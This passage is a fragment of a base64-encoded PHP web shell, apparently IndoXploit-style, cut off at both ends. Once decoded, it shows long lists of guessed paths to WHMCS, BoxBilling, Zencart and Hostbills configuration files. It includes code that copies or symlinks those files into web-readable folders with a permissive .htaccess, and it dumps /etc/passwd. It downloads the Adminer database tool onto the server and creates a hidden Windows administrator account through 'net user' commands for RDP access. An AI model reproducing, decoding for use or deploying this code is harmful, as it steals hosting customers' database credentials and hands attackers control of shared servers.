0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfazB2M1QvcHVibGljX2h0bWwvQklMTElOR1Mvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2swdjNUL3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JBU0tFVC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9CYXNrZXQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvYmFza2V0L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NFQ1VSRS9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9TZWN1cmUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NBTEVTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NhbGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTEwvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQmlsbC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1BVUkNIQVNFL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3B1cmNoYXNlL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0FDQ09VTlQvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQWNjb3VudC9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9hY2NvdW50L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL1VTRVIvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvVXNlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC91c2VyL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0NMSUVOVFMvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvQ2xpZW50cy9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JJTExJTkdTL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL0JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmdzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL01ZL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL015L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3NlY3VyZS93aG0vc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL3dobWNzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3BhbmVsL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGVzL3N1Ym1pdHRpY2tldC5waHAiID0+ICJXSE1DUyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvc3VibWl0dGlja2V0LnBocCIgPT4gIldITUNTIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9zdWJtaXR0aWNrZXQucGhwIiA9PiAiV0hNQ1MiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JveGJpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ib3gvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvYmItY29uZmlnLnBocCIgPT4gIkJveEJpbGxpbmciLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2JiLWNvbmZpZy5waHAiID0+ICJCb3hCaWxsaW5nIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9iYi1jb25maWcucGhwIiA9PiAiQm94QmlsbGluZyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC96ZW5jYXJ0L2luY2x1ZGVzL2Rpc3QtY29uZmlndXJlLnBocCIgPT4gIlplbmNhcnQiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9wcm9kdWN0cy9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2hvcC9pbmNsdWRlcy9kaXN0LWNvbmZpZ3VyZS5waHAiID0+ICJaZW5jYXJ0IiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0YmlsbHMvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvSG9zdC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL3N1cHBvcnQvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9ob3N0aW5nL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2FydC9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL29yZGVyL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvY2xpZW50cy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2NsaWVudGUvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9jbGllbnRlcy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAiID0+ICJIb3N0YmlsbHMiLAoiL2hvbWUvJHVzZXJfY29uN2V4dC9wdWJsaWNfaHRtbC9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIsCiIvaG9tZS8kdXNlcl9jb243ZXh0L3B1YmxpY19odG1sL215L2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc2VjdXJlL2luY2x1ZGVzL2lzbzQyMTcucGhwIiA9PiAiSG9zdGJpbGxzIiwKIi9ob21lLyR1c2VyX2NvbjdleHQvcHVibGljX2h0bWwvc3VwcG9ydC9vcmRlci9pbmNsdWRlcy9pc280MjE3LnBocCIgPT4gIkhvc3RiaWxscyIKKTsgIAoKZm9yZWFjaCgkZ3JhYl9jb25maWcgYXMgJGNvbmZpZyA9PiAkbmFtYV9jb25maWcpIHsKICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ2dyYWInKSB7CiRhbWJpbF9jb25maWcgPSBmaWxlX2dldF9jb250ZW50cygkY29uZmlnKTsKaWYoJGFtYmlsX2NvbmZpZyA9PSAnJykgewp9IGVsc2UgewokZmlsZV9jb25maWcgPSBmb3BlbigicmJiZF9jb25maWdncmFiLyR1c2VyX3JiYmQtJG5hbWFfY29uZmlnLnR4dCIsInciKTsKZnB1dHMoJGZpbGVfY29uZmlnLCRhbWJpbF9jb25maWcpOwp9Cn0KaWYoJF9QT1NUWydjb25maWcnXSA9PSAnc3ltbGluaycpIHsKQHN5bWxpbmsoJGNvbmZpZywicmJiZF9TeW1jb25maWcvIi4kdXNlcl9yYmJkLiItIi4kbmFtYV9jb25maWcuIi50eHQiKTsKfQppZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiRzeW00MDQ9c3ltbGluaygkY29uZmlnLCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dCIpOwppZigkc3ltNDA0KXsKICAgIEBta2RpcigicmJiZF9zeW00MDQvIi4kdXNlcl9yYmJkLiItIi4kbmFtYV9jb25maWcuIi50eHQ0MDQiLCAwNzc3KTsKICAgICRodGFjY2Vzcz0iT3B0aW9ucyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzCkRpcmVjdG9yeUluZGV4IHJiYmQuaHRtCkhlYWRlck5hbWUgcmJiZC50eHQKU2F0aXNmeSBBbnkKSW5kZXhPcHRpb25zIElnbm9yZUNhc2UgRmFuY3lJbmRleGluZyBGb2xkZXJzRmlyc3QgTmFtZVdpZHRoPSogRGVzY3JpcHRpb25XaWR0aD0qIFN1cHByZXNzSFRNTFByZWFtYmxlCkluZGV4SWdub3JlICoiOwoKQGZpbGVfcHV0X2NvbnRlbnRzKCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNC8uaHRhY2Nlc3MiLCRodGFjY2Vzcyk7CgpAc3ltbGluaygkY29uZmlnLCJyYmJkX3N5bTQwNC8iLiR1c2VyX3JiYmQuIi0iLiRuYW1hX2NvbmZpZy4iLnR4dDQwNC9yYmJkLnR4dCIpOwoKICAgIH0KCn0KCiAgICAgICAgICAgICAgICAgICAgfSAgICAgCiAgICAgICAgfSAgaWYoJF9QT1NUWydjb25maWcnXSA9PSAnZ3JhYicpIHsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YSBocmVmPSc/cGF0aD0kcGF0aC9yYmJkX2NvbmZpZ2dyYWInPjxmb250IGNvbG9yPWxpbWU+RG9uZTwvZm9udD48L2E+PC9jZW50ZXI+IjsKICAgICAgICB9CiAgICBpZigkX1BPU1RbJ2NvbmZpZyddID09ICc0MDQnKSB7CiAgICAgICAgZWNobyAiPGNlbnRlcj4KPGEgaHJlZj1cInJiYmRfc3ltNDA0L3Jvb3QvXCI+U3ltbGlua055YTwvYT4KPGJyPjxhIGhyZWY9XCJyYmJkX3N5bTQwNC9cIj5Db25maWd1cmF0aW9uczwvYT48L2NlbnRlcj4iOwogICAgfQogICAgIGlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bWxpbmsnKSB7CmVjaG8gIjxjZW50ZXI+CjxhIGhyZWY9XCJyYmJkX3N5bWNvbmZpZy9yb290L1wiPlN5bWxpbmtueWE8L2E+Cjxicj48YSBocmVmPVwicmJiZF9zeW1jb25maWcvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsKICAgICAgICAgICAgfWlmKCRfUE9TVFsnY29uZmlnJ10gPT0gJ3N5bXZob3N0JykgewplY2hvICI8Y2VudGVyPgo8YSBocmVmPVwicmJiZF9zeW12aG9zdC9yb290L1wiPlJvb3QgU2VydmVyPC9hPgo8YnI+PGEgaHJlZj1cInJiYmRfc3ltdmhvc3QvXCI+Q29uZmlndXJhdGlvbnM8L2E+PC9jZW50ZXI+IjsKICAgICAgICAgICAgfQogICAgICAgIAogICAgICAgIAogICAgICAgIH1lbHNlewogICAgICAgIGVjaG8gIjxmb3JtIG1ldGhvZD1cInBvc3RcIiBhY3Rpb249XCJcIj48Y2VudGVyPgogICAgICAgIDwvY2VudGVyPjwvc2VsZWN0Pjxicj48dGV4dGFyZWEgbmFtZT1cInBhc3N3ZFwiIGNsYXNzPSdhcmVhJyByb3dzPScxNScgY29scz0nNjAnPlxuIjsKICAgICAgICBlY2hvIGluY2x1ZGUoIi9ldGMvcGFzc3dkIik7IAogICAgICAgIGVjaG8gIjwvdGV4dGFyZWE+PGJyPjxicj4KICAgICAgICA8c2VsZWN0IGNsYXNzPVwic2VsZWN0XCIgbmFtZT1cImNvbmZpZ1wiICBzdHlsZT1cIndpZHRoOiA0NTBweDtcIiBoZWlnaHQ9XCIxMFwiPgogICAgICAgIDxvcHRpb24gdmFsdWU9XCJncmFiXCI+Q29uZmlnIEdyYWI8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3ltbGlua1wiPlN5bWxpbmsgQ29uZmlnPC9vcHRpb24+CiAgICAgICAgPG9wdGlvbiB2YWx1ZT1cIjQwNFwiPkNvbmZpZyA0MDQ8L29wdGlvbj4KICAgICAgICA8b3B0aW9uIHZhbHVlPVwic3ltdmhvc3RzXCI+Vmhvc3RzIENvbmZpZyBHcmFiYmVyPC9vcHRpb24+PGJyPjxicj48aW5wdXQgdHlwZT1cInN1Ym1pdFwiIHZhbHVlPVwiU3RhcnQhIVwiPjwvdGQ+PC90cj48L2NlbnRlcj5cbiI7Cn0KCiNBRE1JTkVSCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2FkbWluZXInKSB7CiAgICAkZnVsbCA9IHN0cl9yZXBsYWNlKCRfU0VSVkVSWydET0NVTUVOVF9ST09UJ10sICIiLCAkZGlyKTsKICAgIGZ1bmN0aW9uIGFkbWluZXIoJHVybCwgJGlzaSkgewogICAgICAgICRmcCA9IGZvcGVuKCRpc2ksICJ3Iik7CiAgICAgICAgJGNoID0gY3VybF9pbml0KCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybCk7CiAgICAgICAgICAgICAgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0JJTkFSWVRSQU5TRkVSLCB0cnVlKTsKICAgICAgICAgICAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIHRydWUpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UpOwogICAgICAgICAgICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GSUxFLCAkZnApOwogICAgICAgIHJldHVybiBjdXJsX2V4ZWMoJGNoKTsKICAgICAgICAgICAgICBjdXJsX2Nsb3NlKCRjaCk7CiAgICAgICAgZmNsb3NlKCRmcCk7CiAgICAgICAgb2JfZmx1c2goKTsKICAgICAgICBmbHVzaCgpOwogICAgfQogICAgaWYoZmlsZV9leGlzdHMoJ2FkbWluZXIucGhwJykpIHsKICAgICAgICBlY2hvICI8Y2VudGVyPjxmb250IGNvbG9yPXllbGxvdz48YSBocmVmPSckZnVsbC9hZG1pbmVyLnBocCcgdGFyZ2V0PSdfYmxhbmsnPmVudGVyIEFkbWluZXI8L2E+PC9mb250PjwvY2VudGVyPiI7CiAgICB9IGVsc2UgewogICAgICAgIGlmKGFkbWluZXIoImh0dHBzOi8vd3d3LmFkbWluZXIub3JnL3N0YXRpYy9kb3dubG9hZC80LjIuNC9hZG1pbmVyLTQuMi40LnBocCIsImFkbWluZXIucGhwIikpIHsKICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48Zm9udCBjb2xvcj15ZWxsb3c+PGEgaHJlZj0nJGZ1bGwvYWRtaW5lci5waHAnIHRhcmdldD0nX2JsYW5rJz5lbnRlciBBZG1pbmVyPC9hPjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGVjaG8gIjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkZpbGVkIGZpbGUgYWRtaW5lcjwvZm9udD48L2NlbnRlcj4iOwogICAgICAgIH0KICAgIH0KCiNLUkRQX1NIRUxMCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ3JkcHNoZWxsJykgewogICAgaWYoc3RydG9sb3dlcihzdWJzdHIoUEhQX09TLCAwLCAzKSkgPT09ICd3aW4nKSB7CiAgICAgICAgaWYoJF9QT1NUWydjcmVhdGUnXSkgewogICAgICAgICAgICAkdXNlciA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWyd1c2VyJ10pOwogICAgICAgICAgICAkcGFzcyA9IGh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydwYXNzJ10pOwogICAgICAgICAgICBpZihwcmVnX21hdGNoKCIvJHVzZXIvIiwgZXhlKCJuZXQgdXNlciIpKSkgewogICAgICAgICAgICAgICAgZWNobyAiW0lORk9dIC0+IDxmb250IGNvbG9yPXJlZD51c2VyIDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+IHN1ZGFoIGFkYTwvZm9udD4iOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGFkZF91c2VyICAgPSBleGUoIm5ldCB1c2VyICR1c2VyICRwYXNzIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMSA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnMgJHVzZXIgL2FkZCIpOwogICAgICAgICAgICAgICAgJGFkZF9ncm91cHMyID0gZXhlKCJuZXQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yICR1c2VyIC9hZGQiKTsKICAgICAgICAgICAgICAgICRhZGRfZ3JvdXBzMyA9IGV4ZSgibmV0IGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvciAkdXNlciAvYWRkIik7CiAgICAgICAgICAgICAgICBlY2hvICJbIFJEUCBBQ0NPVU5UIElORk8gXTxicj4KICAgICAgICAgICAgICAgIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTxicj4KICAgICAgICAgICAgICAgIElQOiA8Zm9udCBjb2xvcj1saW1lPiIuJGlwLiI8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgVXNlcm5hbWU6IDxmb250IGNvbG9yPWxpbWU+JHVzZXI8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgUGFzc3dvcmQ6IDxmb250IGNvbG9yPWxpbWU+JHBhc3M8L2ZvbnQ+PGJyPgogICAgICAgICAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPjxicj4KICAgICAgICAgICAgICAgIFsgU1RBVFVTIF08YnI+CiAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+CiAgICAgICAgICAgICAgICAiOwogICAgICAgICAgICAgICAgaWYoJGFkZF91c2VyKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiW2FkZCB1c2VyXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+QmVyaGFzaWw8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgdXNlcl0gLT4gPGZvbnQgY29sb3I9J3JlZCc+R2FnYWw8L2ZvbnQ+PGJyPiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZigkYWRkX2dyb3VwczEpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRvcnNdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5CZXJoYXNpbDwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRhZGRfZ3JvdXBzMikgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlthZGQgbG9jYWxncm91cCBBZG1pbmlzdHJhdG9yXSAtPiA8Zm9udCBjb2xvcj0nbGltZSc+U3VjY2VzczwvZm9udD48YnI+IjsKICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRhZGRfZ3JvdXBzMykgeyAKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXAgQWRtaW5pc3RyYXRldXJdIC0+IDxmb250IGNvbG9yPSdsaW1lJz5TdWNjZXNzPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICJbYWRkIGxvY2FsZ3JvdXBdIC0+IDxmb250IGNvbG9yPSdyZWQnPkZpbGVkPC9mb250Pjxicj4iOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWNobyAiLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tPGJyPiI7CiAgICAgICAgICAgIH0KICAgICAgICB9IGVsc2VpZigkX1BPU1RbJ3Nfb3BzaSddKSB7CiAgICAgICAgICAgICR1c2VyID0gaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3JfdXNlciddKTsKICAgICAgICAgICAgaWYoJF9QT1NUWydvcHNpJ10gPT0gJzEnKSB7CiAgICAgICAgICAgICAgICAkY2VrID0gZXhlKCJuZXQgdXNlciAkdXNlciIpOwogICAgICAgICAgICAgICAgZWNobyAiQ2hlY2tpbmcgdXNlcm5hbWUgPGZvbnQgY29sb3I9bGltZT4kdXNlcjwvZm9udD4gLi4uLi4uLiAiOwogICAgICAgICAgICAgICAgaWYocHJlZ19tYXRjaCgiLyR1c2VyLyIsICRjZWspKSB7CiAgICAgICAgICAgICAgICAgICAgZWNobyAiWyA8Zm9udCBjb2xvcj1saW1lPlN1ZGFoIGFkYTwvZm9udD4gXTxicj4KICAgICAgICAgICAgICAgICAgICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS08YnI+PGJyPgogICAgICAgICAgICAgICAgICAgIDxwcmU+JGNlazwvcHJlPiI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgIGVjaG8gIlsgPGZvbnQgY29sb3I9cmVkPmJlbHVtIGFkYTwvZm9udD4gXSI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZWlmKCRfUE9TVFsnb3BzaSddID09ICcyJykgewogICAgICAgICAgICAgICAgJGNlayA9IGV4ZSgibmV0IHVzZXIgJHVzZXIgaW5kb3hwbG9pdCIpOwogICAgICAgICAgI